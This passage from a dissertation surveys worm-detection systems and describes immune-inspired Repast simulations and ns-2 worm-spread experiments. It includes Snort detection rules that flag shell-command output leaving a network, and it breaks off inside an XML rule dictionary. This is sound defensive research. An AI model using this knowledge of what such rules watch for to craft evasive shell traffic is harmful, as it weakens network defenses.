Singh et al. (2003, 2004) propose an automated model, EarlyBird, for detecting new worms based on traffic characteristics common to them: highly repetitive packet content, an increasing population of sources generating infections and an increasing number of destinations being targeted. They propose using the hash of the content of a packet as a flow identifier and extend this by looking for frequently occurring fixed length strings that occur in many packets. In their system a 64-bit signature is computed by using a combination of the contents of the packet payload and the destination port number for every packet passing through the deployed system. Their algorithm is implemented as follows: as each packet arrives, its content (or substrings of its content) is hashed and appended with the protocol identifier and destination port to produce a content hash code. They use a method called value sampling to choose which substrings of the content to process (especially those which match a certain pattern.) Each content hash is further sub-sampled with a fraction f=1/64 and the resulting hash codes are used to index an Address Dispersion table (columns include the hash key, source ip-address counts, and destination-ip address counts). If an entry for a particular hash already exists, then the address counts for that hash are incremented. If the source and destination counts exceed a particular threshold then an alarm is raised.
Earlybird is different from Autograph, according to Kim and Karp (the authors of Autograph) in the sense that it avoids the computational cost of flow reassembly, but is susceptible to attacks that spread worm-specific byte patterns over a sequence of short packets. Autograph, instead, incurs the expense of flow reassembly, but alleviates that expense by first identifying suspicious flows, and thereafter performing flow reassembly and content analysis only on these suspicious flows. EarlyBird, however, does the opposite; it finds sub-packet content strings first, and uses address dispersion to filter out innocuous content strings next. Autograph partitions network flow payloads into non-overlapping, variable-length chunks, based on payload content. EarlyBird then generates hashes of overlapping, fixed-length chunks at every byte offset in a packet efficiently.

Wang et al. (2004) present their system, Shield, as one that filters traffic above the transport layer, describing vulnerabilities as partial state machines of the vulnerable application. Their system is positioned in such a way that they prevent attacks even before they occur, unlike other signature based-systems which can generate signatures only after the onset of the attacks themselves. Conceptually there is one shield per vulnerability, deployed in the network stack (between the application and transport layers) of the end host so that they are more separated from the vulnerable application and hence can offer shielding for any application level protocol. A Shield policy for a particular vulnerability includes both the vulnerability signature and remedial actions which need to be executed in the event of recognizing an exploit. The policy specifies application identification (using the port number to which the communication is
directed), event identification (to identify message type), session identification (to find out which session a message belongs to), and state machine specification (the states, events, and transitions defining the protocol automaton). The Policy loader converts these policies into “Specs” which contain the state machine specification, port number(s) for application identification, and event and session identification information so that Shield can imitate the application vulnerability state machine at runtime. The Application Dispatcher is invoked when raw bytes arrive at Shield from a port which determines which Spec to reference for the arrived data based on the port number. The Spec and raw bytes are then forwarded to the Session Dispatcher which extracts multiple messages based on the Spec parameters (session Id, message type, and message boundary markers). Once the event type and session Id is determined, this information is forwarded to the State Machine Instance (SMI) which calls the Shield Interpreter to interpret an event handler for that event. The event handler specifies how to parse the application protocol payload and examine it for exploits. The interpreter also carries out actions like packet-dropping, session tear-down, registering a newly-negotiated dynamic port with Shield, or setting the next state for the current SMI. The Shield can also handle scattered arrivals and out-of-order arrivals of network layer fragments, by keeping track of session states and using copy-buffers.

Lincoln et al. (2004) propose a scheme for Internet-scale collaborative analysis of security threats including privacy guarantees for threat alert contributors. They classify threat alert information into those received from three primary types of contributors: Firewalls, IDSs, and antivirus software reports. At the core of the alert sharing infrastructure is a set of
repositories which store the alerts that allow access to the resources performing analysis of the alerts. They propose: encryption using keys, scrubbing sensitive fields from contributors, hiding IP addresses via hashing, using randomized hot-list thresholds, delayed alert publication to secure the repositories and communication links to the repositories. The performance metrics used in their experiments involve collecting alerts published by their lab firewall over a three hour period of intense exposure to the Kuang 2 virus and records collected over a 24 hour period by Dshield. Their major contributions are: creation of open community-access repositories that would offer a better perspective on Internet-wide trends, where there is real-time detection of emerging threats and a source of data for malicious code research.

Akritidis et al. (2005) describe a method to detect Internet worms that relies on popular packet payloads and attempts to eliminate false positives using the following parameters: the multiplicity of targeted destinations, the length of considered content substrings, and their positions within their flows. Their algorithm chooses to ignore server replies, based on the logic that most worms are usually spread by clients, and thus they eliminate the need to scan the content of packets originating from servers, which usually contribute to a major portion of internet traffic. The authors differentiate their system from Earlybird by pointing out that their algorithm assigns less weight to the substrings appearing in connections that have already caused a great network overhead to their initiator, whereas their predecessor assigns equal weights to the same substring appearing in the first few kilobytes or after hundreds of megabytes. Earlybird uses destination port as a criterion to characterize worm traffic, but the authors point out that Witty worm uses a random
destination port and hence their algorithm does not use destination port. They point out that Earlybird will have to compute and store fingerprints for traffic originating from servers, as the servers choose random client ports even though their packets may have similar content. Their algorithm however, the authors state, completely ignores traffic originating from a server and therefore ignores the bulk of data observed, for example, in a typical download operation. The authors point out that since Earlybird counts distinct sources, if there is a situation where a single source is able to scan and infect the entire network before any other sources appear, Earlybird might not raise an alarm.

Newsome et al. (2005) point out that polymorphic worms can easily evade content-signature-based IDSs like Earlybird or Autograph and introduce their system, Polygraph, as one which is able to generate signatures that consist of multiple disjoint content substrings, which should exist in all variants of the polymorphic payload. The authors point out that other signature generation systems assume that a single payload substring exists that will remain invariant across worm payloads and will be sufficiently unique to a worm. A worm author, according to them, could encode a malicious program which changes its payload on every successive connection and it could encode and re-encode itself into successive different byte strings. Initially, the monitored network traffic passes through a flow classifier, which reassembles flows into a suspicious flow pool and an innocuous flow pool. The pools thus classified have inherent noise, that is, they are not exactly accurate. The algorithm generates three different classes of signatures. The first class involves extraction of all distinct substrings (also called tokens) of a minimum length \( \hat{a} \) that occur in at least \( K \) out of \( n \) samples in the suspicious flow. This set of
distinct unordered tokens that appears in every sample of the suspicious flows becomes a conjunction signature. The next type of signature their algorithm generates is a token-subsequence signature, which is an ordered list of tokens. They do this by employing a string alignment algorithm that promotes subsequences with contiguous bytes and a signature is generated that matches every sample in the suspicious pool by finding a subsequence of tokens that is present in each sample. This is found by iteratively applying the string alignment algorithm. The next type of signature generated by the algorithm is able to distinguish between worms and innocuous flows by taking into account the differences in the probability distributions over sets of tokens that maybe present. They employ the naïve Bayes classifier to achieve this goal, and assign scores to each token. The authors point out that the distinction between worms and innocuous flows may just be a difference in the probability distributions over the sets of tokens that may be present. To classify a sample, the scores of the tokens that the sample contains, are added together and compared against a threshold; if the score is greater than the threshold then the flow is classified as a worm.

Wang et al. (2005) propose a novel approach where they correlate ingress/egress payload alerts to identify the worm’s initial propagation. The key idea behind their system, PAYL, is that a recently infected host will begin sending outbound traffic that is substantially similar to the original content that infected the victim. They also propose using some kind of flow classifier that separates out suspicious traffic (containing anomalous content) from normal traffic and inspect them for anomalous outbound content directed to the same ports. They propose generating content-filtering signatures
from the correlated ingress/egress content anomalies. They propose deploying PAYL across distributed collaborating hosts sharing information about anomalies encountered at different sites in real-time. The authors model both inbound traffic and outbound traffic, and if anomalous egress packets, to a particular port, are encountered that are very similar to the ingress traffic to the same port then it can be assumed that there is a high probability that a worm that exploits the service at that port has started its propagation. The worm content signature is based on a string similarity score from the ingress/egress packet correlation. The authors suggest cross-site collaboration of PAYL deployments to identify worms early in their proliferation and to thus reduce false positives effectively.

Costa et al. (2005) propose the concept of a self-certifying alert (SCA), a machine-verifiable proof of vulnerabilities that may exist in a service. They assert that SCAs remove the need for trust between nodes. An SCA contains a sequence of messages that, when received by the vulnerable service, cause it to reach a disallowed state. This is actually verified on the service and detection engines combined with message logging to generate SCAs at detectors. Before a host distributes an SCA or after it receives an SCA from another host, it verifies the SCA by reproducing the infection process described in the SCA in a sandbox. The SCAs are then broadcast to other hosts. They consider two engines to detect worms:

(i) Non-executable pages – when a worm attempts to execute code in a protected page, an exception is thrown. The detector catches the exception and then tries to generate a candidate arbitrary code execution SCA, based on its ability to find the address of the faulting instruction.
(ii) Dynamic dataflow analysis – this involves tracking the flow of data received in certain input operations. This data and any data derived from it is marked dirty and the engine blocks dangerous use of dirty data.

The authors also propose the use of host-based filters to block worm traffic before it is delivered to the vulnerable service, by using a form of dynamic data and control flow analysis. This analysis finds the conditions on the messages in the SCA that determine the execution path that exploits the vulnerability. Their experiments indicate that their strategy is effective in containing real worms like Slammer, Blaster, CodeRed and their variants.

Locasto et al. (2005) propose the concept of information exchange between organizations of different administrative domains: a collaborative distributed approach to intrusion detection. They employ watch-lists of IP addresses suspected of subversive behavior. They also outline a distributed correlation function where there is a set of nodes $S$ of size $N$. They assume that there is some reliable mechanism for any subset of nodes to communicate with each other. The key idea being that the correct subsets of nodes are always communicating. To address the problem of communication in large-scale distributed networks the authors introduce the notion of network scheduling: the controllable formation and dissolution of relationships between groups of nodes in a network. The system of dynamic overlay, that follows a particular schedule, creates federations of nodes that exchange watch-lists and varies the rate at which nodes join and leave these groups. Their experiments and simulations show that even a randomized
schedule can detect distributed attacks within an average of six exchange periods without using an unacceptable amount of band-width to distribute alert information to peers.

Malan and Smith (2005) suggest that through P2P cooperation, if the decision about a worm’s presence is decided upon by a cooperative rather than an individual host, then we can lower the risk of false positives. They propose that an anomalous behavior should be defined based on similarity in invocations of system calls observed in two hosts. The authors propose a network of peers who exchange the relative frequencies of these calls on some schedule. If the cooperative finds too many similarities among the snapshots of processes’ calls, a worm is assumed to be present and a response is initiated. The authors also provide a methodology on how best to detect similarities between peers and exchange snapshots and the best response mechanisms.

Li et al. (2006) propose a network based automated signature generation system for polymorphic worms and claim that their system (Hamsa) outperforms Polygraph. The basic framework is very similar to that of Polygraph, but they seem to make some unique assumptions: that the attacker cannot alter the frequency of occurrence of tokens in normal traffic and that the attacker has no control over which normal samples encountered by Hamsa are classified as worm samples. So the normal traffic misclassified as worm traffic has the same token distribution as the normal traffic. The token extraction algorithm does not ignore substrings occurring non-distinctly and the authors point out that for example if “%u” occurs only as either “%uc” or “%uk” then “%u” cannot be considered as a token by Polygraph. However, the authors state that it
may be possible that “%u” covers all of the worm samples, but “%ue” and “%uk” may not and therefore “%u” yields a better signature. So Hamsa extracts tokens with a minimum length and which occur more than a threshold number of times. The authors consider an enhanced suffix array approach for token extraction as opposed to a suffix tree algorithm used by Polygraph and suggest that the space consumption of a suffix tree is larger and thus Hamsa’s algorithm, which allows for certain pruning techniques, is faster in token extraction. Their experiments are based on exposing Hamsa to synthetically generated polymorphic worms and based on the assumption that a flow classifier exists that can separate network traffic into two pools, a normal pool and a suspicious pool (with polymorphic worms and possible noise). Their results seem to indicate that Hamsa is a few hundred times faster in signature generation than Polygraph.

This research proposal extends the idea proposed by Sanjay Goel and Stephen Bush (2003), particularly in investigating the utility of a collective defense scheme based on immunological models in which network nodes synergistically work to check and subdue pathogens in computer networks. Goel and Bush point out that, artificial immune systems have not been able to replicate the levels of efficiency observed in biological immune systems in maintaining a large number of detectors (that are sniffing incoming data packets for known patterns that efficiently match pathogens). Their proposed solution is a security model where more efficient detection can be achieved if neighboring nodes in the network share information about malicious activity resulting in an information repository that is rich and diverse. The work presented in this paper is analogous to the Computer Defense Immune System (CDIS) developed by Harmer, Willams, et al (2001),
in the sense that they have also abstracted concepts from biological immune system. They make the important observation that most genetic algorithms use models that are population-based, rely upon random variation and selection for exploration and exploitation, and are based on the mechanics of natural selection and genetics, in other words, survival of the fittest. In their experimentation they also consider Snort signatures to classify self from non-self but do not take into consideration the packet content which is where, their work is different from the work presented in this dissertation.

When we start to address the issue of network security, it is important to take note of the advances being made using graph theory to model networks and the indications of the strong connections between network topology and spread of virus/worms in the network. Many real world networks seem to exhibit scale-free and small world characteristics. Therefore one can expect to find a few nodes with a very large number of connections and a large number of nodes with very few connections. Satorras and Vespignani (2002) point out that computer viruses spread in a scale-free network, in which, even though the average connectivity is well defined, there is always a finite probability that a node has a number of neighbors much larger than the average value. Importantly, the authors observe that topology plays a very significant role in epidemic spread and modeling, and that infection can proliferate on scale-free networks, irrespective of their spreading rates. They suggest an absence of an epidemic threshold for infections in scale-free networks. In such a scenario, traditional methods of virus spread prevention (distribution of patches/signatures) will not help to overcome total network failure. Instead, targeted
immunization strategies that depend on identifying the most connected individuals and immunizing them will dramatically raise the tolerance of the whole population to infections. Other scholars such as Dezso and Barabasi (2002) also suggest similar remedial measures.

In this chapter, I have reviewed some of the key works in the area distributed detection and on the spread of attacks on networks. Although the focus of a majority of these approaches has been on detection, I have not come across anyone who has suggested a remediation plan, which focuses on the topology of the network under attack, in tandem with the detection plan. By remediation, I mean a plan which would actively reduce or prevent the spread of an attack in real time. When I say attack, I mean a novel attack or an attack for which a signature does not yet exist. The contribution of this dissertation is a detection mechanism that can detect metamorphic NOP sleds, closely-coupled with a remediation plan that would alter the topology of the network under attack to slow down or prevent the spread of the attack.
Chapter 4 - Description of the experimental frameworks.

In this chapter I present the experiments I conducted with the Repast framework, section 4.1, and the ns-2 worm model, section 4.2. In section 4.1, I explain the Repast framework (4.1.1, 4.1.2), critical concepts incorporated in the framework, different agents, and, metrics used (4.1.3) in more detail. Towards the end of section 4.1 I present the extensions made to the Repast framework (4.1.4, 4.1.5). In the section 4.2.1 I present the remediation plan with respect to ns-2. Towards the end of section 4.2, I present the ns-2 worm model and the BRITE topology generator.

4.1 The Repast framework

As an antecedent to the current work a simulation model was developed which presents a scheme based on immunological models where multiple nodes in a computer network work cooperatively to intercept and neutralize the pathogens. The simulation is based on an agent-based modeling tool, RePast. In this chapter I have explained the core components of the model in greater detail

4.1.1 Application of Immuno-Epidemiological Paradigms in the Repast framework

Repast is a software framework for creating agent-based simulations using languages such as Java. In this stage, virus detection was measured by varying the number of detectors, the sampling of packets, and the specificity of string matching. In order to
thwart attacks from previously unknown patterns, the concept of mutation of known patterns has been applied, as there is strong evidence that the vertebrate immune system continually mutates and evolves to protect its host from a wide variety of infections. This model has been extended to include epidemiological parameters where there is sharing of virus information among all the nodes in the network (section 4.1.4).

Details of this framework are presented in section 4.1.2 and 4.1.3. The two primary concepts applied in this framework are memory from learning and mutation to predict variations of known attacks.

Kephart (1991, 1994, and 1997) and Forrest et al. (1995, 1998) have done seminal work on the use of immunological paradigms for computer security. Kephart (1994) points out that the vertebrate immune system exhibits some remarkable properties: ability to recognize and eradicate previously encountered antigens, and ability to learn about previously unseen antigens. This includes the ability not only to determine that the new antigen is foreign but also to determine how to distinguish it from other host proteins and remember how to distinguish it in the future; and the use by the system of selective proliferation and self replication for speedy recognition and response. Obviously we would want artificial immune systems to exhibit these properties as well.

The concept of addressing the security problem through negative selection draws inspiration from the work done by Forrest et al. (1994, 1995), in which they introduce a change detection algorithm, modeled on the fundamental way natural immune systems
operate. Based on their work, Hofmeyr and Forrest (1999) and Hofmeyr et al. (1998) developed a detailed architecture of a computer immune system. They analytically compared different schemes, such as varying Hamming distance and specificity, for detection of pathogens.

4.1.2 Architecture of the Repast framework

In the simulation model originally developed, each node, represents a system that scans for pathogens in the incoming network traffic as well as files resident on the node. The collection of network nodes depicts a collective defense to the pathogens by working in tandem and sharing pathogen information (virus signatures) with each other. Each node compiles a list of virus signatures for these pathogens using the information provided by all the nodes in the network. The signatures for these pathogens are incorporated into the detector population of the immune systems to increase the probability of detection. Critical to the success of this model is the detection scheme, which should not only be accurate but also efficient.

When information packets arrive at switches or hosts, point of entry presents the first opportunity to inspect them for the presence of viruses. The packets have not been assembled into files at this stage, and the groups of packets can be inspected for existence of sectors of virus signatures. The traffic density and the size of the virus signature database, necessitate the inspection of groups of packets at this stage. That being the case, there is a possibility that viruses can escape detection during inspection, either because
the virus signatures are not comprehensive, virus signature could straddle two contiguous sequences, or because the sequence containing the virus signature has not been sampled. This is referred to as the “false-negatives” problem. If the packets containing the viruses escape detection during inspection, they are then assembled into files that are carriers of the virus. When such files are executed, the attached viruses multiply and propagate. Therefore, there is a necessity to inspect all files for the existence of viruses. The second stage of inspection involves the matching of the entire virus signature fully or by using indices of specificity (Forrest et al. 1994). Because of the polymorphic and mutating nature of many viruses, it is necessary to compute the mutants of existing signatures in the database at both levels of inspection (incoming packets and files). For sake of simplicity I am ignoring the scanning of the files and restricting my analysis to the packet population alone. This is based on the assumption that a node would become infected once the first line of defense has been breached.

4.1.2.1 Immune system component

It is assumed that there is a set of known intrusions and we have a set of standard signatures to identify these intrusions/pathogens. There are three kinds of detector populations: mature detectors (based on previously known pathogen signatures), immature detectors (based on randomly generated virus signatures), and foreign detectors (based on virus bulletins from neighboring nodes on the network). Mature detectors tend to remain in the systems for a longer duration than immature detectors and foreign
detectors. Immature detectors have a fixed span in which they either mature or die, based on their utility.

4.1.2.2 Epidemiology component

When a virus is detected by an individual node on the network, it is important that such information is stored in a database, so that the spread of the virus can be monitored. Monitoring can be implemented either in a centralized fashion or in a distributed fashion. In the distributed model, when a node in the network detects a virus, its signature is broadcast to all nodes in the immediate network neighborhood. Each node updates its own signatures database and performs statistical analysis of the virus detection frequencies. Foreign detectors (mentioned in Section 4.1.2.1) are generated by collating these virus lists, contributed by the neighboring nodes, periodically. The results of such analysis in conjunction with thresholds for responses can provide a resilient decision support system for dealing with viruses. The model in the current research proposes use of a distributed database of virus signatures to avoid the complications of a denial of service attack on the centralized system.

4.1.3 Agents and metrics used

The Repast model, originally developed, makes use of a base agent class. All the agents (Detector, Packet, File, and Signature) deployed in the model are subclasses of the agent class. The signature (synonymous with “content” used in this work) attribute is initially
represented as an alpha-numeric string. Packets are generated at the start of each step, mimicking packets entering into the network. In the simulation, packets are randomly “infected” by appending a randomly chosen virus string to the content of a packet. The detectors are used to test if the packets or files are infected. New files are created when groups of packets reassemble after passing through the initial scanning step.

The content of the files is created by concatenation of the content of the packets in the group used to create it. Detectors are used to detect pathogens by comparing their signature string with the content of the media (packet or file). This is done by a scanning process where packets are randomly sampled against detectors. During sampling, an imperfect string matching function is invoked to calculate the degree of match between the two strings being compared. The immature detectors participate in scanning as well, and only the immature detectors that are successful in matching infected packets are proliferated and allowed to survive, while the others have their life span decremented sequentially. If an infected packet is discovered the entire group of packets is dropped and no file is created from the group. If a file in the system is infected, it is destroyed.

Each agent is associated with a population object. The model contains a generic population class that is characterized by the population size, the birth rate and the death rate. The population classes specific to different agents inherit these attributes from the generic population class and contain some additional attributes that are specific to that population. The population objects defined in the model are PacketPopulation, FilePopulation, DetectorPopulation, and SignaturePopulation. Each population has a constructor, an initialize function (creates the initial agent population), a process function,
(processes the agent interactions) and an update function (creates new agents). The Packet and File population objects manage the corresponding agent populations and contain population related attributes, such as, infection rates, average content length etc.

The number of possible pathogens that invade a system can be very large and new types of pathogens emerge constantly. Monitoring the inbound traffic for possible pathogens is computationally very intensive and may overwhelm the system. Therefore, to create a tractable security system, only a subset of the pathogens that pose the greatest potential threat of invasion is used to scan the data. Thus, each node needs to determine the pathogens that pose the greatest threat of invasion. The epidemiological model provides this information by identifying the viruses that are a threat to the node by analyzing the virus report information from across the nodes of the network. At each step of the simulation, the immune system selects all the virus bulletins that are issued by the other nodes. All virus alerts are examined and prioritized. The criteria for prioritizing the viruses are: (a) distance from the current node, (b) number of times it was detected, and (c) time of detection. The top few signatures are selected for creating new foreign detectors.

At the end of each time cycle, statistical analysis is performed to measure the performance of the entire system. The metrics which are computed are: (1) Infected file count (measures the number of infected files at any given instance in the system), (2) Detection count (measures the number of packets correctly identified as infected), (3) False Positive count (measures the number of media incorrectly identified as infected),
and (4) False Negative count (computes the number of media which are scanned by a
detector but incorrectly tagged by the detector as clean). The rate of false negatives is
usually high since the detectors are specific to pathogens. Thus, if the detector and the
pathogen infecting the media do not match then it will be tagged as false negative. The
more critical concern is that of false positives, where legitimate media elements are
tagged incorrectly and destroyed. These are akin to auto-immune diseases in the human
body when the detector cells of the human immune system falsely identify a legitimate
cell as an invader and destroy it. Since monitoring of all the incoming packets is an
enormous computational burden, the packets are sampled randomly. This leaves the
possibility that some pathogens escape detection. The rate of infection that manifests in
the system is usually a function of the sampling rate, and can be reduced by increasing
the sampling rate. One of the issues that the current research investigates is whether
feedback from the neighborhood allows the immune systems to use a lower sampling rate
but maintain the same infection rate. The premise of the research is that effective defense
can be maintained more efficiently if the entire network is self-organized and works
synergistically rather than having each node handling its defense independently. There
are other issues such as rouge elements in the community that can provide false virus
information thereby reducing trust in a self-organized system; but that has been deferred
for future study.

4.1.4 Extensions to the Repast model

Much of the initial work involved running the base model of the simulation and plotting
the metrics for different parameters. The parameters that were initially investigated
included the impact of signature length and sub-string length, sampling rate and specificity on detection counts. The base model had individual nodes scanning for virus signatures with mature and immature detectors. The foreign detector interaction was absent and hence the model did not have the capability to investigate for the effect of feedback from the neighborhood that would allow the use of a lower sampling rate at the same detection rate.

The base model was then extended to investigate the impact of the epidemiology component of the model, on the performance of immune systems of the individual network nodes. The purpose of this work is to show that a collective security model, where there is sharing of information among the nodes in a network, increases the detection efficiency and significantly reduces the computational burden when compared to a model where the nodes operate independently.

4.1.5 Implementation of foreign detectors

A virus report (in the form of an XML document) from every node (or nodes in the immediate vicinity) was maintained and updated at a constant rate. At each step in the simulation the system would select all such publications and examine the respective virus alerts and prioritize the data based on criteria such as frequency and time of detection. The signatures from the collated alerts were then used to generate foreign detectors.
4.1.6 Simulations and experiments

The initial simulations that were run to validate the Repast model (whose results are presented in the section 5.1) used generic alphanumeric strings (0-9, a-z) and the corresponding virus signatures were of similar format. For the next set of simulations which aimed at generating NOP sled equivalents the signatures were restricted to the hexadecimal character set (0-9, a-f).

The source code for the Repast model was installed on different machines in networked lab. The machines were running Windows XP. At the start of each time step, they would each generate their respective populations of Signatures, Packets, Detectors, and Immature Detectors. The virus signature database was available at a common shared drive on the network. Each of the machines would write the signatures of those Immature Detectors that would successfully mature into Detectors after the end of their life cycle. After every 50 time steps these signatures would be collated and ranked according to frequency and foreign detectors would be generated from the ranked list. Further details of the experiments are available in the next chapter.

4.2 Ns-2

In this section I will explain the some of the core concepts used in the experiments conducted with the ns-2 worm model.
4.2.1 Network Topology and Remediation Plan

Modern Internet worms have the capacity to spread among susceptible hosts at amazing speeds. Rangan and Knuth (2007) evaluate the impact played by network topology on the rate of spread of an epidemic using the ns-2 worm model. Modern day computer epidemics spread at incredible rates and the cure (e.g., anti-virus patch) is not readily available at the time when a new epidemic is encountered. Dezso and Barabasi (2002) propose hub-biased curing policies to counter the spread of an epidemic. They propose that curing the highly connected nodes first present a more cost-effective solution to eradicate the epidemic. As an extension to the work done in Rangan and Knuth (2007), I explore the possibility of slowing down the epidemic or preventing it from overwhelming the entire network of susceptible hosts by employing a strategy similar to the one suggested by Dezso and Barabasi. I shall summarize some of these findings in this section.

4.2.2 The Susceptible-Infected (SI) model

The study of epidemic spreading is based upon the idea that infection is transmitted by contact between and infected individual and an uninfected (but susceptible) individual. Shannon, Moore, et al. (2003) outline the classic SI epidemic model that describes the spread of a malicious attack through homogenous random contacts between susceptible and infected hosts. This model prescribes that the number of new infections is the product of the number of infected hosts (infectives), the fraction of susceptible hosts
(susceptibles) and an average contact rate $\beta$. In the simulation $\beta$ is the time interval between successive attempts made by an infected host to contact and infect a randomly chosen host from the vulnerable population.

The ns-2 worm model is based on the SI model of infection. A detailed Bayesian analysis of the above model in light of ns-2 worm model data is presented for a simplistic topology in Rangan and Knuth (2007).

### 4.2.3 Constructing Network Models using BRITE

The BRITE (Medina, et al. 2001) initiative is an attempt to generate a topology generation framework that would precisely reproduce many aspects of the actual internet topology combining the advantages of different topology generation models along with interfaces to conveniently interconvert these topologies into different practical formats. Some of the major topologies implemented in BRITE are Waxman model, GT-ITM, Barabasi-Albert, etc. The Waxman model (Waxman, 1988) produces random graphs based on Erdos-Renyi random graph model. The authors of the GT-ITM software (Calvert, et al., 1997) visualize the Internet as a group of interlinked routing domains, where each routing domain is a group of nodes (routers, switches and hosts), under the same administrative umbrella. In the Barabasi-Albert model a network grows incrementally and the nodes interconnect with preference towards higher degree nodes. For the purpose of this paper the above mentioned are the three topologies considered for our simulation.
The BRITE topology generation process is a four-step process: placing the nodes in the plane, interconnecting the nodes, assigning attributes to topological components (delay, bandwidth, etc.), and outputting the topology to a specific format (Medina, et al. 2001).

Waxman model refers to a method of creating a random topology using Waxman’s probability model for interconnecting the nodes of the topology, which is given by:

\[ P(u, v) = \alpha e^{\beta d} \]  
\[ (\text{Eq. 4.1}) \]

where \( 0 < \alpha, \beta \leq 1 \), \( d \) is the Euclidean distance from node \( u \) to node \( v \), and \( L \) is the maximum distance between any two nodes (Medina, et al. 2001).

The Barabasi-Albert model suggests two possible causes for the emergence of a power law in the frequency of outdegrees in network topologies: incremental growth and preferential connectivity. Incremental growth refers to growing networks that are formed by the continual addition of new nodes. Preferential connectivity refers to the tendency of a new node to connect to existing highly connected nodes. When a node \( i \) joins the network, the probability that it connects to a node \( j \) already existing in the network is given by:

\[ P(i, j) = \frac{d_j}{\sum_{k \in V} d_k} \]  
\[ (\text{Eq. 4.2}) \]
where \( d_j \) is the degree of the target node, \( V \) is the set of nodes that have joined the network and \( \sum_{k=\in V} d_k \) is the sum of degrees of all nodes that previously joined the network (Medina, et al. 2001).

In the GT-ITM model each routing domain is either a stub domain or a transit domain. Stub domains represent the periphery and they carry traffic that initiates or ends in the domain. Transit domains interlink the stub domains (Calvert, et al., 1997).

### 4.2.4 Simulations and experiments

Consequently, three different types of topologies were constructed as outlined in section 4.2.3: Barabasi-Albert, Waxman (using BRITE) and Transit-Stub (using the GT-ITM topology generator available in the ns release). Each of these topologies were converted to a format readable by ns. Using the `fminsearch` function on Matlab, \( \beta \) and \( T \) were estimated for each of the topologies. Following this each of the topologies were analyzed to obtain the most highly connected nodes in each network topology. The ns worm model simulation was run again with these topologies, only this time a portion of the highly connected nodes were dropped at different stages of the infection. The results have been tabulated in section 5.4.
Chapter 5 - Experiments and Results

In this chapter I have presented results of the preliminary Repast simulations in section 5.1. Other laboratory experiments performed to find applications for the Repast framework and results of the later simulations which use the restricted hexadecimal character set are presented in section 5.2 and 5.3. Results from the ns-2 experiments are presented in section 5.4.

5.1 Observations from the preliminary Repast simulations

By running the Repast simulation using simplistic signatures for the proposed immune system, we have obtained promising results which can be seen in Figures 5.1, 5.2, and 5.3. Goel and Rangan (2010), contains the details of this model, and additional results of the simulation are available in this parallel paper that is in progress. Figure 5.1 indicates that as we increase the specificity of the string matching threshold our accuracy of detection increases (indicated by a reduction in false positives). But, this also increases the computational burden on the nodes that perform the scanning. Therefore, there is a trade-off between the accuracy of detection that can be achieved and the number of false positives reported in this type of scan. Figure 5.2 indicates a similar trade off between the computational burdens of scanning all incoming packets versus sampling just a fraction of the incoming traffic. Figure 5.3 indicates a general increase in detection accuracy when nodes in the network share virus signature information as they are detected.
Effect of PacketMatchThreshold on Performance

![Graph showing impact of match threshold on performance](image)

**Figure 5.1:** Plot showing impact of match threshold on the Immune System metrics (Variable: Packet MatchThreshold, Constants: FracPktsScanned=0.25, DetPop/PktPop = 1.25)

Effect of varying Fraction of Packets Scanned on Performance

![Graph showing impact of sampling rate on performance](image)

**Figure 5.2:** Plot showing impact of sampling rate on the Immune System metrics (Variable: FracPktsScanned, Constants: Packet MatchThreshold=0.4, DetPop/PktPop = 1.25)
Figure 5.3: Effect of having foreign detectors sharing virus information versus just scanning on individual nodes.

5.2 Application of the Repast framework to real-world problems

At the outset, the work by Goel and Rangan (2010) provides a design framework, based on biological immune system concepts, wherein detectors are generated. Preliminary Repast simulations use a simplistic signature consisting of alpha-numeric characters. This signature can be made more relevant to real-world IDS by incorporating network packet parameters such as destination ports or IP-addresses. In fact, it is possible to use the Snort rule set (which are currently being used in the Snort detection engine to flag malicious traffic) to isolate such parameters and incorporate them into the Repast signature framework.
By incorporating network packet characteristics into the signatures of detectors, we can evaluate the resulting signatures against real-time network traffic. Since the concepts of specificity and mutation have been employed in the Repast framework we expect the resulting detector signatures to be able to detect variations of known attacks.

The results obtained from the initial Repast simulations need to be validated by using a real virus agent in a test bed. Ideally we need a virus agent to spread malicious packets in a closed network. Snort will monitor for malicious packets based on pre-specified rules. One of the preliminary steps in the plan is to distinguish normal traffic from malicious network traffic. The Snort rule set can be used as it has the capability to distinguish between normal packets and malicious ones. The ultimate goal is to generate a (evolving) signature database based on subtle variations of known virus signatures. Such a system would not only scan for known signatures, but also for mutations of known virus strains. During this process of scanning and detection, signatures would be broadcast to the rest of the network. This sharing of information will make network security as a whole more robust and resilient, especially in the event of new viral outbreaks.

In section 5.2.1, I present java code that can be used to generate randomly chosen Snort rule parameters. The remainder of this section presents experimental laboratory work that identifies contemporary practical examples from the real-world where our model can be applied. I chose the DARPA data set first to see if there was network data which could be used to test our system (section 5.2.2). But, the lack of documentation of the attacks
themselves and the non-availability of their source code prevented progress in this direction. In the section 5.2.3 experiments with the Agobot root-kit are presented. Section 5.2.4 deals with experiments performed with the LSASS buffer overflow.

5.2.1 Multi-factor matching using Snort signatures

The initial methodology for deployment will be to:

- Define self and non-self based on snort rules
- Create detectors based on partitioning snort rules
- Apply concepts of partial matching to increase search space per detector
- Apply mutation to test if variations of known attacks can be detected
- Deploy distributed detectors which share knowledge of attack outbreaks in the network
- Test the utility of the system by launching different attacks and using Snort and Wireshark to defend against these attacks.

It is possible to partition snort rules. Figure 5.4 depicts two Snort rules.

```
- alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"ATTACK-
  RESPONSES directory listing"; flow:established; content:"Volume
  Serial Number"; classtype:bad-unknown; sid:1292; rev:9;)
- alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES command completed"; flow:established; 
  content:"Command completed"; nocase; reference:bugtraq,1806; 
  classtype:bad-unknown; sid:494; rev:10;)
```

**Figure 5.4:** Example Snort rules

These rules can be parsed and split into tokens (shown below).
Figure 5.5: Tokenization of Snort rules

Such a parsing strategy allows us to create a dynamic database of rules which can be subsequently used to create custom rules on the fly; which is a necessity for autonomous, adaptable IDSs. Moreover, the monitors will be distributed and will share information and alerts as they monitor packets in real time.
Below is an XML version of the rule dictionary. This can be easily ported into a database as well.

```xml
<ruleDictionary>
  <rule action="alert" classtype="bad-unknown" content="Volume Serial Number" dest_net="$EXTERNAL_NET" dest_port="any" flow="established" msg="ATTACK-RESPONSES directory listing" protocol="tcp" rev="9" rule_category="attack-responses.rules" sid="1292" src_net="$HOME_NET" src_port="any" />
